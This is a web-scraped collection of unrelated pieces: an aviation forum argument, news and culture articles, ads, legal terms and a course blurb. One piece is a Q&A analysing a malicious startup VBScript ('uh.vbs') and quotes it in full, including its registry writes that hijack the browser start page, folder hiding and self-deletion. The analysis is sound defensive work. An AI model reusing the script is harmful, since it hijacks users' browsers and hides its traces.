Now: much Oz experience of operating (self or alongside) Brit and US kit. Plus points and minus points for both: Brewster Buffalo! try maintaining anySabre in the jungle. So, brochures are fiction, whether in Pom or Yank English. By 1963 Ansett, TAA and Qantas were well wed to US products (even though for every Viscount which shed its wings...so did an Electra). Product Support. But US military spares arrived at exactly the same snails' pace as British bits. So...it's all down to credibility of price and delivery date. If I had been doing the advising I would have said: the Brit type might be in FEAF, a Squadron or so. 8, 16 machines. McNamara was basing US Defence Policy around 3,000 F-111A/B, available for logistics support on USN carriers and USAF/PACAF bases here, there and everywhere. No brainer. Rattle the Brit type just to rattle McNamara's deal for F-111.
The idea that the Australian decision not to procure the Hawker P.1081 (but to procure an American aircraft with a British engine) in 1950 had any effect on the decision not to buy TSR-2 thirteen years later is silly. The Australians didn't buy TSR-2 for a whole range of reasons, including the F-111 package being cheaper, the UK marketing effort being almost non-existent and the Australians (Air Marshall Sir Frederick Scherger) rightly realising that the UK establishment was not fully committed to the type. Neither the Meteor or the P.1081 had anything to do with it.
Simply another emotively expressed opinion..& light on facts.
P.1052 was the initial swept wing Hawker tested for RAAF suitability,
- but longitudinally - a long list of stymied projects, delays & cancellations soured the procurement potential.
This was in spite of a long running pro-British Commonwealth conservative government in Australia,
who supported the primary purchase of British military products - where feasible - for local use..
The Avon/Aden Sabre-jet built in Australia was a bit of a 'Frankenstein' effort - but showed what lengths were
resorted to - in the absence of a viable off the shelf alternative..
No, facts, and plenty of them. The Australians were planning on procuring the P.1081- they abandoned this plan in December 1950. Then 13 years later they chose not to procure the TSR-2 for the reasons I outlined (see Damien Burke's book).
It is your turn to provide facts to support your thus far unsupported assertion.
Refer to post #21, per D.N. James - P.1052 predates P.1081..
What reference/s do you use? Do post them..
Nobody is questioning that the P.1052 predates the P.1081- in fact I myself pointed that out earlier, the second P.1052 prototype was even rebuilt as the P.1081.
You are being asked to provide evidence to support your claim that the decision to not to procure the P.1081 in 1950 impacted the decision not to procure the TSR-2 in 1963.
I gave you a source above for TSR-2. Australian interest in the P.1081 is available in multiple publications if one chooses to look.
Providing a quote from your source may be helpful, more so than just a name..
The history of British-Australian aerospace/defence/trade relationships is too big a topic for this thread..
..never-the-less, as an Aussie might say.. even 'Blind Freddy' - could see the ongoing issue..
All hail the God of Frustration!!!
beyondthesprues.com
That is somewhat of a distortion of the facts. CAC had a long term relationship with North American which strongly contributed to the Sabre selection. The RR Avon was also already being set up for licence production in Australia for the EE Canberra. Combined with the already proven performance if the Sabre, this made the selection/development of the Avon Sabre more than simply a choice driven by there being no viable off the shelf alternative.
You are correct about CAC/NAA cooperation going well back, even past the Mustang & Boomerang..
But 'Frankenstein' is a fair (IMO) call, given the 'surgery' & dimensional changes required..
Very probably the most potent Sabre-jet iteration.. but perhaps.. also too late?
Damien's book is readily available so with a minor investment you can look it up yourself: http://www.secretprojects.co.uk/forum/index.php/topic,10221.0.html
I strongly recommend it.
The Avon Sabre was also far from a Frakenstein. It was a very good airplane that many thought was the best Sabre. The Sabre was also put into production with four different engine types: J47, Orenda, Avon and J65 (Sapphire).
Damien's book is readily available so you should be able to look it up yourself: http://www.secretprojects.co.uk/forum/index.php/topic,10221.0.html
Well JFCF, if you have it, you could post a a cogent quote from it.. ..that contributes something.. ..useful..
A much better idea is you contributing something to an excellent author by purchasing his book. All three reasons I mentioned came from it.
Quotes serve a purpose..
overscan (PaulMM)
Get a room, you two. : Better yet, have your argument via Facebook or something.
Must every topic end up in a running battle between you and get locked?
I will be considering next actions.
RAF 1990s
Started by JFC Fuller
Replacing SACEUR's RAF Valiants
Started by uk 75
RAF in 1975 with TSR 2 etc
Secret Postwar Aircraft Projects
V Bombers instead of TSR2
NATO SACEUR and TSR 2


text:
Q: What does this Visual Basic Sript called uh.vbs do? not long ago sent my computer away for some off-warranty work (the BIOS was not recognizing one of my HDD bays) and when it came back with a new HDD board, I was getting an odd error while rebooting.
Eventually I figured out that there was a new file, called "uh.vbs", in the Windows startup folder, and there was an error when it was run upon boot. Not knowing anything about vbs I have no idea what this file does, beyond that it was either created or modified while my computer was in the repair shop. I notice that it points to a couple webpages, and has some Chinese characters, so I'm hoping that one of the well-versed people on this site can fill me in. Below is the code...
Edit: I had to take a bunch of it out because of a strange error apparently caused by Chinese characters, which is not identified by the site and which took me half an hour to eventually figure out. I deleted the Chinese-looking characters and put MISSING_CHINESE_CHARTERS everywhere I took them out.
On Error Resume Next
set lhwy=createobject("wscript.shell")

path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
set path=nothing
path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")

WScript.Sleep(30000)

set lhwy=createobject("wscript.shell")
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
set path=nothing
path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")

Dim objws,objfso,dn
Set objws=WScript.CreateObject("wscript.shell")
Set objfso=CreateObject("scripting.filesystemobject")
dn=objfso.GetDriveName(WScript.ScriptFullName)
objws.run "attrib +h " & dn & "\ProgramData",0

Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 3000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") Then
  fso.DeleteFile("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if

Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 1000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") Then
fso.DeleteFile("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if

Wscript.quitPAPK

Thanks for any input.

A: It seems to be a relatively poor attempt at malware.
This bit is trying to set your IE start page to http://home.yy8000.com/ -
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
set path=nothing
path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")

Then the next bit waits 30 seconds before doing it again (the writer probably thought there was a chance the registry would be inaccessible when the script first runs).
This next bit is a little odd, it hides the ProgramData folder (which in most cases will be hidden anyway) -
Dim objws,objfso,dn
Set objws=WScript.CreateObject("wscript.shell")
Set objfso=CreateObject("scripting.filesystemobject")
dn=objfso.GetDriveName(WScript.ScriptFullName)
objws.run "attrib +h " & dn & "\ProgramData",0

The section with the unusual characters simply delete the script once it's done it's "damage".
Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 3000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") Then
  fso.DeleteFile("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if

Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 1000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") Then
fso.DeleteFile("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if

My suspicion would be that the people who did the repair plugged a USB stick into your computer that had previously been plugged into another repair.  The file had been copied automatically onto the USB and then onto your computer when they plugged it in.
Delete the file and do a virus check.  The malware attempt is so poor this simple script may be hiding a bigger issue.  I've seen scripts like this in the past where there is another process running that creates the script file (possibly during shutdown).
Look at Kaspersky's live CD if you didn't have a virus checker installed before sending your PC in for warranty.


Since the common core was adopted by more than 40 states almost six years ago, the assessment landscape has been undergoing a profound reorganization. Education Week has been tracking these changes, and this year, we see some of the biggest shifts happening at the high school level. We report in detail on those changes today in EdWeek's chart of states' 2015-16 testing plans.
Which states are using PARCC or Smarter Balanced tests, and which ones chose some other assessment instead?
Which states chose PARCC or Smarter Balanced, but are using them only in elementary and middle school?
Which states are mixing PARCC or Smarter Balanced questions with their own, state-designed items, or are giving districts a choice of which test to give?
Which states require all students to take the SAT or ACT? And which ones use those college-entrance exams for federal accountability (a growing trend with significant implications)?
Which state have exit exams (a test that students must pass to graduate)?
PARCC and Smarter Balanced strength continues to wane. Fewer states are giving PARCC or Smarter Balanced than did so last year. See our story and chart to find out the numbers.
PARCC and Smarter Balanced participation is particularly weak in high school. We see those tests more often in grades 3-8 than in high school.
High school testing now tilts more heavily toward college-admissions exams. States are increasingly requiring the SAT and ACT, or using it as their high school exam for federal accountability.


A 24-hour front desk and a snack bar are available for guestsâ?? convenience. Guests can enjoy continental breakfast at Americaâ?'s Best Inn. A daily maid service and vending machine with drinks are also offered.
Vicksburg National Military Park is 4 minutesâ?? drive from the motel. Ameristar Casino is 5.4 km away and Vicksburg City Park is 4.7 km from Americaâ?'s Best Inn Vicksburg.


In this website's content, as well as the products and services which may be provided to you ("CUSTOMER") by The Ultimate Estate Planner, Inc. ("UEP"), either for a fee or free of charge, UEP will disclose certain confidential, copyrighted, trademarked, and/or proprietary information and materials owned by and/or relating to The Ultimate Estate Planner, Inc. and the Law Firm of Kavesh, Minor & Otis, Inc. ("KMO"), including but not limited to their business practices, forms, procedures, presentations and programs, marketing techniques and materials, and practice-building strategies.
CUSTOMER agrees to maintain these items, information and materials and anything derivative therefrom as strictly confidential, to share them only with members of CUSTOMER's own estate (or financial or accounting) planning practice and to use them only in the ordinary course of conducting that practice.
CUSTOMER agrees to continue to display the copyright and trademark notices appearing on all materials or to substitute CUSTOMER's company name followed by the words "Under License". CUSTOMER also agrees to do whatever reasonably required by UEP to protect UEP's and KMO's copyrights and trademarks.
CUSTOMER agrees to use these items, information and materials in compliance with all applicable federal and state laws and with the rules and regulations of all regulatory agencies CUSTOMER's business practice may be governed by (e.g. State Bar, State Board of Accountancy, broker-dealer, FINRA, etc.).
Either directly, or indirectly through others, use any of these items, information or materials (or anything derivative therefrom) in any other manner than as permitted above with UEP's prior express written consent.
Either directly, or indirectly through others, disclose, republish, redistribute, post on the internet, post on a listserv, or transfer in any manner to others any of these items, information or materials (or anything derivative therefrom) without UEP's prior express written consent.
UEP reserves the right to refuse to provide any of our products, services, information or materials to anyone. For example, UEP may refuse to provide CUSTOMER marketing materials that could be used in the Los Angeles and Orange County markets of Southern California, in possible competition with KMO.
Submit the request in writing to UEP no later than 30 days from the date of purchase by e-mail at orders@ultimateestateplanner.com.
Send any physical items or materials back to UEP (at the sole expense borne by the CUSTOMER).
Monetary refunds will be issued to CUSTOMER upon compliance with the above requirements. Once refund requirements have been met, CUSTOMER will be given a full money-back refund for the amount paid for the product. The form of the refund shall be the same as was used to purchase the product (i.e. credit card, check, etc.).
After 30 days from the date of purchase, products may not be refunded or returned.
All items, information and materials are provided "as is", without any warranty of any kind, express or implied, and without any continuing obligation of UEP to provide any updates.
CUSTOMER is responsible for reviewing all items, information and materials to be sure that they are used in compliance with and meet the requirements of any and all applicable federal and state laws, or regulatory agency rules and regulations, as well as is responsible for updating them.
UEP does not provide legal or financial advice and any purchase of its products and services does not create an attorney-client or financial advisory relationship with CUSTOMER.


text:
1. 24 Hours
2. Mouth Full of Gold f/ Baby
3. This Is What I Do f/ Waka Flocka & OJ Da Juiceman
4. Reckless f/ Cap & Chill
5. Shout Out To My Set f/ Wooh the Kid
6. I Don't Love Her f/ Rocko & Webbie
7. Better Baby
8. Brinks f/ Master P
9. Pretty Women f/ Wale
10. Pancakes f/ Waka Flocka & 8ball
11. Hell Yeah f/ Slim Dunkin
12. My Year
13. Trick or Treat f/ Slim Dunkin, Wooh the Kid & Waka
Gucci Mane: Free Gucci II: The Burrrtish Edition Mixtape
The Return of Mr. Zone 6
(Warner Bros.; 2011)
By Colin McGowan | 15 June 2011
It's strange to say this about an artist who releases music like most of us flip open our laptops in the morning, but: I have missed Gucci Mane. Not because he hasn't released any music lately; he put out The Appeal: Georgia's Most Wanted late last year, which was remixed earlier this year by a collective of Diplo proteges from across the pond, and Gucci 2 Time (2011) and Brick Squad Mafia (2011) were okay, I guess, though the former falls under the heading of Minor Gucci and the latter was dominated by Waka Flocka. No, I miss Gucci in the sense that he has failed to provide a record or mixtape that bangs as consistently as Mr. Zone 6 (2010), which often thundered through my apartment walls during video game sessions. I miss not hearing anything as slippery and hypnotic as "Georgia's Most Wanted."
The Return of Mr. Zone 6 is an indication that Gucci admirers will have to wait longer still. Return is a Gucci Mane many haven't heard in years. In wake of the Lex Luger aesthetic's growing predominance in Southern rap—with Flocka's Flockaveli (2010) being the movement's defining document—Gucci has elected to move in harmony with the prevailing tide. As a result, Return is largely bereft of the chintzy, minimal Zaytoven beats dominating previous Gucci releases, and in their stead exists the dense ominousness Luger peddles so brilliantly. Drumma Boy, Return's primary producer, doesn't churn out massive, operatic behemoths, but these beats are inarguably bigger in scope than the tracks over which Gucci traditionally raps.
It would be incorrect to say Gucci sounds out of his element over bigger production. He does, after all, frequently sound like he's rapping in the midst of a comfortable high from a leather easy chair. But these beats don't meld well with his personality; they are better suited for, say, the impenetrable intensity of Waka Flocka or Slim Dunkin. As much as Gucci Mane's music is about his chain, his women, and his gun, he doesn't force any of these themes into his listeners' ears. His music is more about language and confidence than any concrete entity. So, when the track and his collaborators are screaming, "Gun talk," and he shows up, detachedly dribbling couplets as he does, he sounds like a guy who brought a book of poetry to a street fight.
There are revelations birthed from this mess, which is largely pleasant, but so unlike Gucci's other tapes that one struggles to call it "good." "Brinks," excepting a Master P verse which reminds us why Master P was the poster boy for Southern rap's boring bling bling era, is one of the highlights, largely because it doesn't plod so much as bounce. Gucci's raps demand some amount of buoyancy from the beat, and the glass bottle keys rhythmically clinking beneath Gucci's drawl sound correct in a way nothing else on Return does. The other standout is "Hell Yeah," which features a strangely animated Gucci matching a churning club track that flattens into a melancholy little synth line during the hook.
Calling any Gucci Mane release "canonical" feels silly, since his work adheres largely to the conventions of the mixtape genre. Namely, he possesses nary a tape in catalogue that is eminently listenable from front to back. But, in his own way, Gucci is one of the great discography artists of the past half-decade or so, his works functioning as a series of peaks and valleys fascinating to the right variety of connoisseur. Return of Mr. Zone 6 is a valley, one that hints towards a career reinvention or a slide into irrelevancy. The thing with Gucci is we won't have to wait to figure out where his career is headed. I'm sure we'll be amply informed, perhaps five times over, by this time next year.


The EMAX MT2213 is a professional and practical 935KV Brushless Motor, which is mainly made of durable aluminum alloy material and designed with the ability of transient response and stability, and can be used for most multi rotor copters, such as DJI F450 F550 X525.
Shell material: durable aluminum alloy.
100% brand new and high quality MT2213 935KV 2212 Brushless Motor Kit.
Suitable for most multi rotor copters, such as DJI F450 F550 X525.
With prop adaptor which is specially made to adjust the rotation of CW (clockwise) and CW (counter-clockwise) propellers.


text:
13 articles tagged as gta-iv
GTA modding tool OpenIV downed by cease and desist notification
Take-Two blamed.
GTA: Episodes from Liberty City coming to PC, PS3
Rockstar has announced that the episodic content that's been released for GTA IV will finally see a PC and PS3 release.
Man finds ecstacy in pre-owned game
A Gloucestershire man has reportedly found illicit drugs in a pre-owned copy of GTA he bought for his children.
The Best Gaming Moments of 2008
The year may well be drawing to a close, but we aren't done yet. There's just enough time left to look back on the specific moments that stood out for us this year, at what we reckon were our best gaming moments of 2008. Read our tales and choices within!
December 16, 2008 | 00:37
Rockstar: "a small number of fans" having issues
Rockstar is seeking to downplay the negative reaction to the PC release of Grand Theft Auto IV and promises a patch soon.
Rockstar rushes to fix GTA IV PC issues
Rockstar is apparently rushing to fix the plethora of issues that PC owners are having with Grand Theft Auto IV.
GTA IV PC to use SecuROM
The upcoming PC version of Grand Theft Auto IV is set to use SecuROM copy-protection. Details within.
GTA IV PC to have 32-player multiplayer
Rockstar has announced that among the updates and improvements to the PC version of Grand Theft Auto 4 is support for extra players.
GTA IV PC delayed, system requirements
Rockstar has confirmed the rumoured delay of GTA IV PC, as well as revealing the system requirements for the game.
Grand Theft Auto 4 detailed for PC
Rockstar Studios has finally detailed what PC gamers can expect to see in the PC version of Grand Theft Auto 4.
GTA IV dated, confirmed for PC
Rockstar has finally given an official date and confirmation to the PC version of Grand Theft Auto IV.
Grand Theft Auto IV has landed and we've all finally been let loose in Liberty City. It was billed as one of the best games ever made even before release, but now we have a chance to see for ourselves and make our own minds up - check out our thoughts in our detailed review.
Episode 8 - Mid-range Radeon HDs, GTA IV and trouble for the music industry


Collection of Quotes by chairman of SM Prime Holdings, Inc who is also involved in the industries of real estate, hospitality, banking, mining, education, and health care Henry Sy.
I have always believed that if we do well, we must also do something to help others in society.
My basic strategy is to stick to my core business, and to my area of expertise. My businesses are all related – retail, shopping centers, banking, real estate and tourism development. Together they create synergy.
I started with shoes, and with hard work and discipline, the business prospered. I moved to the department store business and again, things went well.
In life and in business, you need to be good-hearted and trustworthy, and to have integrity. This is the way to build long-term relationships. It is also important to be optimistic and to look at challenges as opportunities.


If you received a jewelry gift in the late eighties and early nineties, it may well have been a tennis bracelet. Before tennis star Chris Evert snapped the clasp on her bracelet during the 1987 U.S. Open, these bracelets were called eternity bracelets, and featured—like rings of the same name—stones going all the way around the piece. But once Evert asked officials to halt the match until she found her jewelry, the eternity bracelet was rechristened and enjoyed a huge surge in popularity. They remain popular, and we're never without a few at National Pawn and Jewelry in Fort Lauderdale.
Of course, long before the tennis—or even eternity—bracelet, diamond bracelets were around, as evidenced by the interesting styles you'll find among estate and vintage collections; check out our antique panther bracelet with diamonds and emerald eyes! Even bangles sporting stones are a departure from the standard, and you'll see these and many other designs when you browse pawn shops in South Florida.


Using the sample Apache access log file provided with the Logfile module, called apache-ncsa.log, the resulting graph is output to the output.gif file and looks like Figure 14.1.
That pretty much wraps up our discussion regarding HTTP log files. It's worth mentioning, however, that you also can use the statistics packages that are available, with some modifications, to summarize the data in a log file. Check your nearest CPAN archive and the Modules List for these statistics modules.
Figure 14.1. Graphical representation of log file data.
http://www.cs.wustl.edu/~seth/txt2html Ordinary ASCII text using regular paragraphs is pretty simple to convert to an HTML representation. Such a conversion is usually preferable in appearance to the raw text in the client browser--for any given text document.
While there doesn't seem to be any viable module for performing this task, there is a nice, well-maintained script called txt2html. It uses a simple mapping file, adapted from another Web tools package, to properly extract and format text-form URLs into standard HTML anchors. txt2html also allows you to configure certain parameters in order to control the general format of the output and the decision-making process regarding things that may have multiple meanings within the text document. Again, use your favorite search engine to search for txt2html to obtain this tool.
It's currently archived at http://www.cs.wustl.edu/~seth/txt2html but may be on the CPAN at some point in the future. Source Code and Manpages During the installation procedure on UNIX systems, you will need to have Netscape Navigator installed correctly on your system before launching the installer. If you receive an error that the installer is unable to launch Navigator, double check to see if the binary is installed correctly, with the correct permissions for the account you are running the installer from. You also may need to enter the full path to the binary, if it is not correctly in your path.
http://www.w3.org/pub/WWW/Tools/ There are a large number of converters for converting C/C++ source code and UNIX manpages to HTML. There are, in fact, so many that it may not be a good idea to try to provide an example here. At this time, there is not a Perl5 module available designed to actually convert various formats to HTML. Thus, until such time as one is formally developed, I'll defer to the definitive list of conversion tools available at http://www.w3.org/pub/WWW/Tools/. Internationalized Content There are a number of specific elements in the HTML spec that map to the international character set. The idea, then, is to parse a document that contains these characters and replace the instances of the hi-bit characters with the corresponding HTML element. Using the libwww modules, this is now quite simple.
You've already seen an example for performing this translation, in the earlier listing for the script, relativize (see Listing 14.4).


text:
Low Combat Readiness in the Russian Armed Forces Lowers Nuclear Threshold
By: Pavel Felgenhauer
November 12, 2009 10:56 PM Age: 13 years
Chief of the General Staff Army-General Nikolai Makarov
This week the Moscow daily Gazeta published extracts of a leaked defense ministry document describing the results of military training this year –providing a rare opportunity to know firsthand the actual battle readiness of the entire Russian armed forces. According to Russian military tradition, the military training year begins on December 1 and ends on October 30, with November –the time to summarize results and hand out marks to all units like in high school: A, B, C and D grades. An A stands for "excellent" battle readiness and D-grade –not ready for action (www.gzt.ru, November 10).
The summarized report, according to Gazeta, shows that the Russian armed forces that are not fully ready for action: 23 divisions (47 percent of divisions in the entire armed forces), 105 brigades (60 percent of all brigades) and 97 separate regiments (50 percent of all regiments) received C grades indicating the limited battle readiness of more than half of the entire armed forces. The Navy, Air Force and the Strategic Rocket Forces (RVSN) demonstrated better results with half of the units, warships and newly formed air bases gaining A and B grades. The army, where this year tank and motorized rifle divisions have been transformed into brigades fared worse, with the majority of the new brigades securing C grades, while a motorized rifle brigade in the North Caucasus and another in Siberia were given D grades. Units that received D grades are required to perform immediate improvements in order to be reexamined to establish they have regained battle readiness (www.gzt.ru, November 10).
Reportedly on November 17, the entire top brass in the military will be gathered in Moscow in the defense ministry for a traditional annual meeting to assess the results of the 2008-2009 training year and receive directives for the coming year of military training. Russia's rulers –Prime Minister Vladimir Putin and President Dmitry Medvedev– may attend the gathering together with cabinet ministers and top Kremlin officials. It was a year that witnessed the most radical military reform in Russia for more than a century and assessments of its progress will surely be made. There is a lot of resistance to reform at the grassroots level in the garrisons and bases in the vastness of the Russian landmass. There is also opposition in Moscow within the defense ministry and General Staff. The leaking of the report on battle readiness assessments to Gazeta seems to have been carried out by disgruntled officers. Gazeta quotes its sources in the General Staff as predicting that the Chief of the General Staff Army-General Nikolai Makarov may be ousted as a result of the report that indicates "the armed forces are in fact not battle ready," while the reform effectively destroyed the old Soviet military machine and that its main aim is "to oust officers to economize on their pay." Last month, Makarov turned 60 and now may continue active service as Chief of the General Staff only under a special presidential order (ukaz). Gazeta quotes its General Staff source as saying that Makarov will be ousted and may be replaced by the present chief of the Moscow Military District Colonel-General Valery Gerasimov (www.gzt.ru, November 10).
The opponents of military reform may be disappointed. Retired military intelligence (GRU) Colonel Vitaly Shlykov, an advisor to the defense ministry, insists that Makarov has been appointed Chief of the General Staff by the Defense Minister Anatoly Serdyukov. Makarov enthusiastically supports Serdyukov's reform plans and while Serdyukov continues to be Defense Minister and the reform continues, Makarov's position seems secure. Medvedev will, according to Shlykov, sign a ukaz to continue Makarov's active service. The assessment of battle readiness leaked to Gazeta, according to Shlykov, is a sober and realistic document that reflects a possible partial improvement in the state of the Russian armed forces that were much worse before the military reform began. While 65 percent of the Russian soldiers are conscripts serving one year armed with old weapons, it is impossible to hope for any drastic improvement in combat readiness. According to Shlykov, it is good that at least some units gained B grade marks (www.gzt.ru, November 10).
Last June, Makarov told journalists that the Russian armed forces were disintegrating and must be radically reformed without hesitation. According to Makarov, Russian arsenals are full of old weapons that were not properly maintained or repaired for years and are mostly unusable. Its officers and personnel are badly trained. While the Russian military is reforming, retraining and rearming with modern weapons, the conventional forces will be extremely weak and this drastically increases Moscow's reliance on nuclear deterrence. According to Makarov, "We will not cut the RVSN –they are today our only valid defense, while we need at least three years to reform" (EDM, June 11).
The Secretary of the Russian Security Council Nikolai Patrushev announced last month that a new military doctrine will be approved before the New Year and that it will allow the first use of nuclear weapons, including "preventive nuclear strikes" to defend against "conventional aggression" not only in possible large scale, but also regional and "even local wars" (Izvestiya, October 14). Patrushev's remarks concur with Makarov's earlier statement. In local armed conflicts on its periphery, in its so called "sphere of special interests," like the August 2008 war with Georgia, Russia is ready to use nuclear deterrence to avert any possible intervention by better armed and trained Western (U.S.) forces. Of course, the Russian military is not actually planning to use nuclear weapons –only the threat to deter any Western incursion into what Moscow believes to be its backyard. Foreign Minister Sergei Lavrov has recently described President Barack Obama's call for full nuclear disarmament as "a wonderful slogan," but did not show any appetite to seriously discuss it (Interfax, November 5). What is really important in the Gazeta report is that the RVSN ICBM divisions received B-grades (www.gazeta.ru, November 10).
Will Flu Spoil Tymoshenko's Election C..Next
Nord Stream Pipeline Project Still Short..


text:
Advertising, Editor's Picks, The Internet, Pop Culture
Jameela Jamil is using love to fight back the media's toxicity
She won't be a double agent for the patriarchy, and she's calling out every celebrity who is.
By Sahar Arshad February 20, 2019
Attribution: [Image description: Jameela Jamil is pictured with her dark hair left loose. She's wearing a bright green blazer with a matching green pant, and is posing with one arm flexing upwards.] Via www.stylist.co.uk
The human race has reached the year 2019, so why haven't we broken out of 'the perfect image' false ideal, and embraced our kick-ass, one of a kind selves for all that we are?
The body positive activist Jameela Jamil whom you may also know as Tahani from The Good Place has led an iron movement to stop the toxic culture of your exterior self determining your self-worth. And it seems that each of her battles comes back to one thing – the media.
Last year, Jamil came across a group shot of the Kardashians, and was shocked to see their weights labeled on each of them. She took to her Instagram story to say: "This is how women are taught to value themselves. In kilograms. Grim."
She followed up by posting a mirror selfie where she listed all the things that she weighed herself by, including her relationship, her career, her activism – parts that she felt determined who she was, rather than kilograms or pounds.
Various posts where Jameela calls out the weigh shaming culture.
This was the ignition of the now 369,000 strong 'iWeigh' movement, an Instagram account which now has a community newsletter you can sign up for here where individuals can send in all the things they weigh themselves by, whether it be their families, their hobbies, or even just a passion.
Having scrolled down it, I can honestly say it is this safe and raw space where people are able to let go of the labels society tags on them in relation to how much they weigh and they are given a chance to speak up and say for themselves what they measure themselves by. For once, who they are is not determined by a number, rather their own selves.
#iweigh ❤
A post shared by I WEIGH ? (@i_weigh) on Feb 17, 2019 at 6:17am PST
Following Jamil's very active response to end this toxicity, her latest campaign after calling out celebrities for promoting weight loss teas, is the Change.org petition she launched that urges social media platforms to stop celebrities from promoting diet products.
With this overview of Jamil's campaign to end diet culture, it becomes easier to see who her real enemy is. The media, and the celebrities that inadvertedly act as double agents for the patriarchy.
Before moving to Los Angeles, Jamil worked as a radio host for the BBC, and gave a speech about her experience with body shaming at the Body Confidence Awards in London in 2014: "By some miracle, it came out that I had managed to gain 200,000 listeners on my show […] but the papers […] ran a wonderful piece about the fact that I had gained […] two dress sizes. I realized in that moment with crystal clarity that my entire worth as a broadcaster, but more importantly as a woman, was being measured just with a weighing scale and it was so incredibly frustrating."
Some of the media have been very supportive and brilliant, but a lot have been focusing obsessively *only* on my few statements about the Kardashians… This is what I want to say once and for all. And here is my FULL 48 minute interview for channel 4: https://t.co/Ko04tjymhn pic.twitter.com/52nAtaUHC3
— Jameela Jamil ? (@jameelajamil) September 5, 2018
Jameela's fight is for everyone to realize how much the media has influenced our outlook toward body positivity. This has all culminated to her declaring airbrushing pictures as a crime against women: "I think it's a disgusting tool that has been weaponized, predominantly against women, and is responsible for so many more problems than we realize because we are blinded by the media, our culture and our society," she wrote in a piece for BBC.
The activist and actress is not afraid to speak out against many of her colleagues in the entertainment industry for promoting weight loss drinks to vulnerable audiences who fall into a trap of wanting to achieve results like these celebrities.
The media, however, has made an unscrupulous attempt in avoiding to address the real message Jamil is trying to embolden. Instead, they have focused on targeting her for comments she made towards the Kardashians for promoting weight loss products, pitting her against the K-sisters. They actively ignore the crux of what Jameela is advocating, and are instead giving more significance to some drama between celebrities.
If the media's response to such a necessary, and empowering message is twisting the story to protect their own reputations, can we really give them the benefit of the doubt and trust them to be a positive influence in our lives? Or can we take control of our own media to be that positive influence that we need, like Jameela is doing with iWeigh?
By Sahar Arshad
Senior Lookbook Editor
Here's exactly why people fall in love with serial killers
I don't want to get married but I still fantasize about weddings
7 major reasons why BTS make me proud to be ARMY
10 things I'm really tired of hearing as a twin
Why is it so hard to pay women athletes what they're worth?
Elisabeth Epps' jail time shows just how broken the justice system is
After years of trying to fit in and suppressing my Muslim identity, I found myself in Ms. Marvel
By Pop Culture Gaming
Someone needs to tell "Amira & Sam" that it's getting everything wrong. EVERYTHING.
By Movies Pop Culture
I have a huge problem with "American Sniper"
Stop freaking out about "American Sniper"
It's time to officially declare the chick flick dead.
Diversity doesn't actually exist in Hollywood
What's going on with Bill Cosby isn't Islamophobia.
'Fresh Off the Boat' is just reverse yellow-face
Fifty shades of NOPE.


The Town of Pincourt is proud to provide our citizens with a fund dedicated to the social development for the second year.
Definition of Municipal Social Development?
Municipal social development refers to a project that promotes the quality of life and personal development of citizens of all ages and circumstances and encourages the development of a sense of solidarity within the community.
The community happy hour concept is to invite the population to dynamic evenings where they have the opportunity to meet community organizations and institutions that offer services on the territory, in an informal and fun context.
The adventures of a few immigrants to Pincourt told through three, two-minute mini-reports.
A Zumba course that pairs the civic outreach clientele (people with intellectual disabilities) with Pincourt citizens with a view to raising awareness and fostering integration.
Cultural mediation between artist Céline Poirier and students regarding cultural differences. Creation of a painting to be displayed in the Town's offices.
Allow children to learn how to do and discover cross-country skiing.


This course will discuss and detail the photonic technologies that are used to connect datacenters. Data center optical interconnects are extremely interesting since they blur the line between traditional datacom and telecom links. The reach requirements, from meters to up to around two kilometers for intra data center connections, require new approaches to meet aggressive cost, power, and density requirements. Furthermore, the use of optics in datacenters is rapidly evolving due to both advances in technologies as well as system architectures that drive the adoption of new solutions. The advantages and limitations of technologies, including VCSELs, Si Photonics, and InP platforms will be discussed to provide insight into how systems are wired today and how the future may evolve.
Leading edge research efforts aimed at enabling greater proliferation of photonics, including both interconnects and optical switching fabrics will be examined. A focus will be placed on opportunities for new technologies and architectures to radically change the trajectory of system design and implementation.
Compare the different optical technologies used in data centers today and identify their strengths and limitations.
Define the requirements for photonic links at different levels of network hierarchy in terms of reach, power, cost, and density.
Describe the factors that have driven the current implementation of systems and future trends that will drive technologies.
